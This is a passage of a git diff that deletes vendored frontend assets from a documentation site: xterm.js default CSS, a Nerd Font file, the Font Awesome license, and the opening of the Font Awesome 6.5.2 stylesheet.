index e97b643..0000000
--- a/documentation/frontend/static/css/xterm.css
+++ /dev/null
@@ -1,218 +0,0 @@
-/**
- * Copyright (c) 2014 The xterm.js authors. All rights reserved.
- * Copyright (c) 2012-2013, Christopher Jeffrey (MIT License)
- * https://github.com/chjj/term.js
- * @license MIT
- *
- * Permission is hereby granted, free of charge, to any person obtaining a copy
- * of this software and associated documentation files (the "Software"), to deal
- * in the Software without restriction, including without limitation the rights
- * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
- * copies of the Software, and to permit persons to whom the Software is
- * furnished to do so, subject to the following conditions:
- *
- * The above copyright notice and this permission notice shall be included in
- * all copies or substantial portions of the Software.
- *
- * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
- * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
- * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
- * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
- * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
- * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
- * THE SOFTWARE.
- *
- * Originally forked from (with the author's permission):
- * Fabrice Bellard's javascript vt100 for jslinux:
- * http://bellard.org/jslinux/
- * Copyright (c) 2011 Fabrice Bellard
- * The original design remains. The terminal itself
- * has been extended to include xterm CSI codes, among
- * other features.
- */
-
-/**
- * Default styles for xterm.js
- */
-
-.xterm {
- cursor: text;
- position: relative;
- user-select: none;
- -ms-user-select: none;
- -webkit-user-select: none;
-}
-
-.xterm.focus,
-.xterm:focus {
- outline: none;
-}
-
-.xterm .xterm-helpers {
- position: absolute;
- top: 0;
- /**
- * The z-index of the helpers must be higher than the canvases in order for
- * IMEs to appear on top.
- */
- z-index: 5;
-}
-
-.xterm .xterm-helper-textarea {
- padding: 0;
- border: 0;
- margin: 0;
- /* Move textarea out of the screen to the far left, so that the cursor is not visible */
- position: absolute;
- opacity: 0;
- left: -9999em;
- top: 0;
- width: 0;
- height: 0;
- z-index: -5;
- /** Prevent wrapping so the IME appears against the textarea at the correct position */
- white-space: nowrap;
- overflow: hidden;
- resize: none;
-}
-
-.xterm .composition-view {
- /* TODO: Composition position got messed up somewhere */
- background: #000;
- color: #FFF;
- display: none;
- position: absolute;
- white-space: nowrap;
- z-index: 1;
-}
-
-.xterm .composition-view.active {
- display: block;
-}
-
-.xterm .xterm-viewport {
- /* On OS X this is required in order for the scroll bar to appear fully opaque */
- background-color: #000;
- overflow-y: scroll;
- cursor: default;
- position: absolute;
- right: 0;
- left: 0;
- top: 0;
- bottom: 0;
-}
-
-.xterm .xterm-screen {
- position: relative;
-}
-
-.xterm .xterm-screen canvas {
- position: absolute;
- left: 0;
- top: 0;
-}
-
-.xterm .xterm-scroll-area {
- visibility: hidden;
-}
-
-.xterm-char-measure-element {
- display: inline-block;
- visibility: hidden;
- position: absolute;
- top: 0;
- left: -9999em;
- line-height: normal;
-}
-
-.xterm.enable-mouse-events {
- /* When mouse events are enabled (eg. tmux), revert to the standard pointer cursor */
- cursor: default;
-}
-
-.xterm.xterm-cursor-pointer,
-.xterm .xterm-cursor-pointer {
- cursor: pointer;
-}
-
-.xterm.column-select.focus {
- /* Column selection mode */
- cursor: crosshair;
-}
-
-.xterm .xterm-accessibility:not(.debug),
-.xterm .xterm-message {
- position: absolute;
- left: 0;
- top: 0;
- bottom: 0;
- right: 0;
- z-index: 10;
- color: transparent;
- pointer-events: none;
-}
-
-.xterm .xterm-accessibility-tree:not(.debug) *::selection {
- color: transparent;
-}
-
-.xterm .xterm-accessibility-tree {
- user-select: text;
- white-space: pre;
-}
-
-.xterm .live-region {
- position: absolute;
- left: -9999px;
- width: 1px;
- height: 1px;
- overflow: hidden;
-}
-
-.xterm-dim {
- /* Dim should not apply to background, so the opacity of the foreground color is applied
- * explicitly in the generated class and reset to 1 here */
- opacity: 1 !important;
-}
-
-.xterm-underline-1 { text-decoration: underline; }
-.xterm-underline-2 { text-decoration: double underline; }
-.xterm-underline-3 { text-decoration: wavy underline; }
-.xterm-underline-4 { text-decoration: dotted underline; }
-.xterm-underline-5 { text-decoration: dashed underline; }
-
-.xterm-overline {
- text-decoration: overline;
-}
-
-.xterm-overline.xterm-underline-1 { text-decoration: overline underline; }
-.xterm-overline.xterm-underline-2 { text-decoration: overline double underline; }
-.xterm-overline.xterm-underline-3 { text-decoration: overline wavy underline; }
-.xterm-overline.xterm-underline-4 { text-decoration: overline dotted underline; }
-.xterm-overline.xterm-underline-5 { text-decoration: overline dashed underline; }
-
-.xterm-strikethrough {
- text-decoration: line-through;
-}
-
-.xterm-screen .xterm-decoration-container .xterm-decoration {
- z-index: 6;
- position: absolute;
-}
-
-.xterm-screen .xterm-decoration-container .xterm-decoration.xterm-decoration-top-layer {
- z-index: 7;
-}
-
-.xterm-decoration-overview-ruler {
- z-index: 8;
- position: absolute;
- top: 0;
- right: 0;
- pointer-events: none;
-}
-
-.xterm-decoration-top {
- z-index: 2;
- position: relative;
-}
diff --git a/documentation/frontend/static/font/DejaVuSansMNerdFontMono-Regular.ttf b/documentation/frontend/static/font/DejaVuSansMNerdFontMono-Regular.ttf
deleted file mode 100644
index 6e21160..0000000
Binary files a/documentation/frontend/static/font/DejaVuSansMNerdFontMono-Regular.ttf and /dev/null differ
diff --git a/documentation/frontend/static/fontawesome/LICENSE.txt b/documentation/frontend/static/fontawesome/LICENSE.txt
deleted file mode 100644
index e69c5e3..0000000
--- a/documentation/frontend/static/fontawesome/LICENSE.txt
+++ /dev/null
@@ -1,165 +0,0 @@
-Fonticons, Inc. (https://fontawesome.com)
-
---------------------------------------------------------------------------------
-
-Font Awesome Free License
-
-Font Awesome Free is free, open source, and GPL friendly. You can use it for
-commercial projects, open source projects, or really almost whatever you want.
-Full Font Awesome Free license: https://fontawesome.com/license/free.
-
---------------------------------------------------------------------------------
-
-# Icons: CC BY 4.0 License (https://creativecommons.org/licenses/by/4.0/)
-
-The Font Awesome Free download is licensed under a Creative Commons
-Attribution 4.0 International License and applies to all icons packaged
-as SVG and JS file types.
-
---------------------------------------------------------------------------------
-
-# Fonts: SIL OFL 1.1 License
-
-In the Font Awesome Free download, the SIL OFL license applies to all icons
-packaged as web and desktop font files.
-
-Copyright (c) 2024 Fonticons, Inc. (https://fontawesome.com)
-with Reserved Font Name: "Font Awesome".
-
-This Font Software is licensed under the SIL Open Font License, Version 1.1.
-This license is copied below, and is also available with a FAQ at:
-http://scripts.sil.org/OFL
-
-SIL OPEN FONT LICENSE
-Version 1.1 - 26 February 2007
-
-PREAMBLE
-The goals of the Open Font License (OFL) are to stimulate worldwide
-development of collaborative font projects, to support the font creation
-efforts of academic and linguistic communities, and to provide a free and
-open framework in which fonts may be shared and improved in partnership
-with others.
-
-The OFL allows the licensed fonts to be used, studied, modified and
-redistributed freely as long as they are not sold by themselves. The
-fonts, including any derivative works, can be bundled, embedded,
-redistributed and/or sold with any software provided that any reserved
-names are not used by derivative works. The fonts and derivatives,
-however, cannot be released under any other type of license. The
-requirement for fonts to remain under this license does not apply
-to any document created using the fonts or their derivatives.
-
-DEFINITIONS
-"Font Software" refers to the set of files released by the Copyright
-Holder(s) under this license and clearly marked as such. This may
-include source files, build scripts and documentation.
-
-"Reserved Font Name" refers to any names specified as such after the
-copyright statement(s).
-
-"Original Version" refers to the collection of Font Software components as
-distributed by the Copyright Holder(s).
-
-"Modified Version" refers to any derivative made by adding to, deleting,
-or substituting — in part or in whole — any of the components of the
-Original Version, by changing formats or by porting the Font Software to a
-new environment.
-
-"Author" refers to any designer, engineer, programmer, technical
-writer or other person who contributed to the Font Software.
-
-PERMISSION & CONDITIONS
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of the Font Software, to use, study, copy, merge, embed, modify,
-redistribute, and sell modified and unmodified copies of the Font
-Software, subject to the following conditions:
-
-1) Neither the Font Software nor any of its individual components,
-in Original or Modified Versions, may be sold by itself.
-
-2) Original or Modified Versions of the Font Software may be bundled,
-redistributed and/or sold with any software, provided that each copy
-contains the above copyright notice and this license. These can be
-included either as stand-alone text files, human-readable headers or
-in the appropriate machine-readable metadata fields within text or
-binary files as long as those fields can be easily viewed by the user.
-
-3) No Modified Version of the Font Software may use the Reserved Font
-Name(s) unless explicit written permission is granted by the corresponding
-Copyright Holder. This restriction only applies to the primary font name as
-presented to the users.
-
-4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
-Software shall not be used to promote, endorse or advertise any
-Modified Version, except to acknowledge the contribution(s) of the
-Copyright Holder(s) and the Author(s) or with their explicit written
-permission.
-
-5) The Font Software, modified or unmodified, in part or in whole,
-must be distributed entirely under this license, and must not be
-distributed under any other license. The requirement for fonts to
-remain under this license does not apply to any document created
-using the Font Software.
-
-TERMINATION
-This license becomes null and void if any of the above conditions are
-not met.
-
-DISCLAIMER
-THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
-OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
-COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
-DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
-OTHER DEALINGS IN THE FONT SOFTWARE.
-
---------------------------------------------------------------------------------
-
-# Code: MIT License (https://opensource.org/licenses/MIT)
-
-In the Font Awesome Free download, the MIT license applies to all non-font and
-non-icon files.
-
-Copyright 2024 Fonticons, Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in the
-Software without restriction, including without limitation the rights to use, copy,
-modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,
-and to permit persons to whom the Software is furnished to do so, subject to the
-following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
-INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
-PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
-SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------------------
-
-# Attribution
-
-Attribution is required by MIT, SIL OFL, and CC BY licenses. Downloaded Font
-Awesome Free files already contain embedded comments with sufficient
-attribution, so you shouldn't need to do anything additional when using these
-files normally.
-
-We've kept attribution comments terse, so we ask that you do not actively work
-to remove them from files, especially code. They're a great way for folks to
-learn about Font Awesome.
-
---------------------------------------------------------------------------------
-
-# Brand Icons
-
-All brand icons are trademarks of their respective owners. The use of these
-trademarks does not indicate endorsement of the trademark holder by Font
-Awesome, nor vice versa. **Please do not use brand logos for any purpose except
-to represent the company, product, or service to which they refer.**
diff --git a/documentation/frontend/static/fontawesome/css/all.css b/documentation/frontend/static/fontawesome/css/all.css
deleted file mode 100644
index 7e4dfe1..0000000
--- a/documentation/frontend/static/fontawesome/css/all.css
+++ /dev/null
@@ -1,8030 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-.fa {
- font-family: var(--fa-style-family, "Font Awesome 6 Free");
- font-weight: var(--fa-style, 900); }
-
-.fa,
-.fa-classic,
-.fa-sharp,
-.fas,
-.fa-solid,
-.far,
-.fa-regular,
-.fab,
-.fa-brands {
- -moz-osx-font-smoothing: grayscale;
- -webkit-font-smoothing: antialiased;
- display: var(--fa-display, inline-block);
- font-style: normal;
- font-variant: normal;
- line-height: 1;
- text-rendering: auto; }
-
-.fas,
-.fa-classic,
-.fa-solid,
-.far,
-.fa-regular {
- font-family: 'Font Awesome 6 Free'; }
-
-.fab,
-.fa-brands {
- font-family: 'Font Awesome 6 Brands'; }
-
-.fa-1x {
- font-size: 1em; }
-
-.fa-2x {
- font-size: 2em; }
-
-.fa-3x {
- font-size: 3em; }
-
-.fa-4x {
- font-size: 4em; }
-
-.fa-5x {
- font-size: 5em; }
-
-.fa-6x {
- font-size: 6em; }
-
-.fa-7x {
- font-size: 7em; }
-
-.fa-8x {
- font-size: 8em; }
-
-.fa-9x {
- font-size: 9em; }
-
-.fa-10x {
- font-size: 10em; }
-
-.fa-2xs {
- font-size: 0.625em;
- line-height: 0.1em;
- vertical-align: 0.225em; }
-
-.fa-xs {
- font-size: 0.75em;
- line-height: 0.08333em;
- vertical-align: 0.125em; }
-
-.fa-sm {
- font-size: 0.875em;
- line-height: 0.07143em;
- vertical-align: 0.05357em; }
-
-.fa-lg {
- font-size: 1.25em;
- line-height: 0.05em;
- vertical-align: -0.075em; }
-
-.fa-xl {
- font-size: 1.5em;
- line-height: 0.04167em;
- vertical-align: -0.125em; }
-
-.fa-2xl {
- font-size: 2em;
- line-height: 0.03125em;
- vertical-align: -0.1875em; }
-
-.fa-fw {
- text-align: center;
- width: 1.25em; }
-
-.fa-ul {
- list-style-type: none;
- margin-left: var(--fa-li-margin, 2.5em);
- padding-left: 0; }
- .fa-ul > li {
- position: relative; }
-
-.fa-li {
- left: calc(var(--fa-li-width, 2em) * -1);
- position: absolute;
- text-align: center;
- width: var(--fa-li-width, 2em);
- line-height: inherit; }
-
-.fa-border {
- border-color: var(--fa-border-color, #eee);
- border-radius: var(--fa-border-radius, 0.1em);
- border-style: var(--fa-border-style, solid);
- border-width: var(--fa-border-width, 0.08em);
- padding: var(--fa-border-padding, 0.2em 0.25em 0.15em); }
-
-.fa-pull-left {
- float: left;
- margin-right: var(--fa-pull-margin, 0.3em); }
-
-.fa-pull-right {
- float: right;
- margin-left: var(--fa-pull-margin, 0.3em); }
-
-.fa-beat {
- -webkit-animation-name: fa-beat;
- animation-name: fa-beat;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, ease-in-out);
- animation-timing-function: var(--fa-animation-timing, ease-in-out); }
-
-.fa-bounce {
- -webkit-animation-name: fa-bounce;
- animation-name: fa-bounce;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.28, 0.84, 0.42, 1));
- animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.28, 0.84, 0.42, 1)); }
-
-.fa-fade {
- -webkit-animation-name: fa-fade;
- animation-name: fa-fade;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1));
- animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1)); }
-
-.fa-beat-fade {
- -webkit-animation-name: fa-beat-fade;
- animation-name: fa-beat-fade;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1));
- animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1)); }
-
-.fa-flip {
- -webkit-animation-name: fa-flip;
- animation-name: fa-flip;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, ease-in-out);
- animation-timing-function: var(--fa-animation-timing, ease-in-out); }
-
-.fa-shake {
- -webkit-animation-name: fa-shake;
- animation-name: fa-shake;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, linear);
- animation-timing-function: var(--fa-animation-timing, linear); }
-
-.fa-spin {
- -webkit-animation-name: fa-spin;
- animation-name: fa-spin;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 2s);
- animation-duration: var(--fa-animation-duration, 2s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, linear);
- animation-timing-function: var(--fa-animation-timing, linear); }
-
-.fa-spin-reverse {
- --fa-animation-direction: reverse; }
-
-.fa-pulse,
-.fa-spin-pulse {
- -webkit-animation-name: fa-spin;
- animation-name: fa-spin;
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, steps(8));
- animation-timing-function: var(--fa-animation-timing, steps(8)); }
-
-@media (prefers-reduced-motion: reduce) {
- .fa-beat,
- .fa-bounce,
- .fa-fade,
- .fa-beat-fade,
- .fa-flip,
- .fa-pulse,
- .fa-shake,
- .fa-spin,
- .fa-spin-pulse {
- -webkit-animation-delay: -1ms;
- animation-delay: -1ms;
- -webkit-animation-duration: 1ms;
- animation-duration: 1ms;
- -webkit-animation-iteration-count: 1;
- animation-iteration-count: 1;
- -webkit-transition-delay: 0s;
- transition-delay: 0s;
- -webkit-transition-duration: 0s;
- transition-duration: 0s; } }
-
-@-webkit-keyframes fa-beat {
- 0%, 90% {
- -webkit-transform: scale(1);
- transform: scale(1); }
- 45% {
- -webkit-transform: scale(var(--fa-beat-scale, 1.25));
- transform: scale(var(--fa-beat-scale, 1.25)); } }
-
-@keyframes fa-beat {
- 0%, 90% {
- -webkit-transform: scale(1);
- transform: scale(1); }
- 45% {
- -webkit-transform: scale(var(--fa-beat-scale, 1.25));
- transform: scale(var(--fa-beat-scale, 1.25)); } }
-
-@-webkit-keyframes fa-bounce {
- 0% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 10% {
- -webkit-transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0);
- transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0); }
- 30% {
- -webkit-transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em));
- transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em)); }
- 50% {
- -webkit-transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0);
- transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0); }
- 57% {
- -webkit-transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em));
- transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em)); }
- 64% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 100% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); } }
-
-@keyframes fa-bounce {
- 0% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 10% {
- -webkit-transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0);
- transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0); }
- 30% {
- -webkit-transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em));
- transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em)); }
- 50% {
- -webkit-transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0);
- transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0); }
- 57% {
- -webkit-transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em));
- transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em)); }
- 64% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 100% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); } }
-
-@-webkit-keyframes fa-fade {
- 50% {
- opacity: var(--fa-fade-opacity, 0.4); } }
-
-@keyframes fa-fade {
- 50% {
- opacity: var(--fa-fade-opacity, 0.4); } }
-
-@-webkit-keyframes fa-beat-fade {
- 0%, 100% {
- opacity: var(--fa-beat-fade-opacity, 0.4);
- -webkit-transform: scale(1);
- transform: scale(1); }
- 50% {
- opacity: 1;
- -webkit-transform: scale(var(--fa-beat-fade-scale, 1.125));
- transform: scale(var(--fa-beat-fade-scale, 1.125)); } }
-
-@keyframes fa-beat-fade {
- 0%, 100% {
- opacity: var(--fa-beat-fade-opacity, 0.4);
- -webkit-transform: scale(1);
- transform: scale(1); }
- 50% {
- opacity: 1;
- -webkit-transform: scale(var(--fa-beat-fade-scale, 1.125));
- transform: scale(var(--fa-beat-fade-scale, 1.125)); } }
-
-@-webkit-keyframes fa-flip {
- 50% {
- -webkit-transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg));
- transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg)); } }
-
-@keyframes fa-flip {
- 50% {
- -webkit-transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg));
- transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg)); } }
-
-@-webkit-keyframes fa-shake {
- 0% {
- -webkit-transform: rotate(-15deg);
- transform: rotate(-15deg); }
- 4% {
- -webkit-transform: rotate(15deg);
- transform: rotate(15deg); }
- 8%, 24% {
- -webkit-transform: rotate(-18deg);
- transform: rotate(-18deg); }
- 12%, 28% {
- -webkit-transform: rotate(18deg);
- transform: rotate(18deg); }
- 16% {
- -webkit-transform: rotate(-22deg);
- transform: rotate(-22deg); }
- 20% {
- -webkit-transform: rotate(22deg);
- transform: rotate(22deg); }
- 32% {
- -webkit-transform: rotate(-12deg);
- transform: rotate(-12deg); }
- 36% {
- -webkit-transform: rotate(12deg);
- transform: rotate(12deg); }
- 40%, 100% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); } }
-
-@keyframes fa-shake {
- 0% {
- -webkit-transform: rotate(-15deg);
- transform: rotate(-15deg); }
- 4% {
- -webkit-transform: rotate(15deg);
- transform: rotate(15deg); }
- 8%, 24% {
- -webkit-transform: rotate(-18deg);
- transform: rotate(-18deg); }
- 12%, 28% {
- -webkit-transform: rotate(18deg);
- transform: rotate(18deg); }
- 16% {
- -webkit-transform: rotate(-22deg);
- transform: rotate(-22deg); }
- 20% {
- -webkit-transform: rotate(22deg);
- transform: rotate(22deg); }
- 32% {
- -webkit-transform: rotate(-12deg);
- transform: rotate(-12deg); }
- 36% {
- -webkit-transform: rotate(12deg);
- transform: rotate(12deg); }
- 40%, 100% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); } }
-
-@-webkit-keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); }
- 100% {
- -webkit-transform: rotate(360deg);
- transform: rotate(360deg); } }
-
-@keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); }
- 100% {
- -webkit-transform: rotate(360deg);
- transform: rotate(360deg); } }
-
-.fa-rotate-90 {
- -webkit-transform: rotate(90deg);
- transform: rotate(90deg); }
-
-.fa-rotate-180 {
- -webkit-transform: rotate(180deg);
- transform: rotate(180deg); }
-
-.fa-rotate-270 {
- -webkit-transform: rotate(270deg);
- transform: rotate(270deg); }
-
-.fa-flip-horizontal {
- -webkit-transform: scale(-1, 1);
- transform: scale(-1, 1); }
-
-.fa-flip-vertical {
- -webkit-transform: scale(1, -1);
- transform: scale(1, -1); }
-
-.fa-flip-both,
-.fa-flip-horizontal.fa-flip-vertical {
- -webkit-transform: scale(-1, -1);
- transform: scale(-1, -1); }
-
-.fa-rotate-by {
- -webkit-transform: rotate(var(--fa-rotate-angle, 0));
- transform: rotate(var(--fa-rotate-angle, 0)); }
-
-.fa-stack {
- display: inline-block;
- height: 2em;
- line-height: 2em;
- position: relative;
- vertical-align: middle;
- width: 2.5em; }
-
-.fa-stack-1x,
-.fa-stack-2x {
- left: 0;
- position: absolute;
- text-align: center;
- width: 100%;
- z-index: var(--fa-stack-z-index, auto); }
-
-.fa-stack-1x {
- line-height: inherit; }
-
-.fa-stack-2x {
- font-size: 2em; }
-
-.fa-inverse {
- color: var(--fa-inverse, #fff); }
-
-/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
-readers do not read off random characters that represent icons */
-
-.fa-0::before {
- content: "\30"; }
-
-.fa-1::before {
- content: "\31"; }
-
-.fa-2::before {
- content: "\32"; }
-
-.fa-3::before {
- content: "\33"; }
-
-.fa-4::before {
- content: "\34"; }
-
-.fa-5::before {
- content: "\35"; }
-
-.fa-6::before {
- content: "\36"; }
-
-.fa-7::before {
- content: "\37"; }
-
-.fa-8::before {
- content: "\38"; }
-
-.fa-9::before {
- content: "\39"; }
-
-.fa-fill-drip::before {
- content: "\f576"; }
-
-.fa-arrows-to-circle::before {
- content: "\e4bd"; }
-
-.fa-circle-chevron-right::before {
- content: "\f138"; }
-
-.fa-chevron-circle-right::before {
- content: "\f138"; }
-
-.fa-at::before {
- content: "\40"; }
-
-.fa-trash-can::before {
- content: "\f2ed"; }
-
-.fa-trash-alt::before {
- content: "\f2ed"; }
-
-.fa-text-height::before {
- content: "\f034"; }
-
-.fa-user-xmark::before {
- content: "\f235"; }
-
-.fa-user-times::before {
- content: "\f235"; }
-
-.fa-stethoscope::before {
- content: "\f0f1"; }
-
-.fa-message::before {
- content: "\f27a"; }
-
-.fa-comment-alt::before {
- content: "\f27a"; }
-
-.fa-info::before {
- content: "\f129"; }
-
-.fa-down-left-and-up-right-to-center::before {
- content: "\f422"; }
-
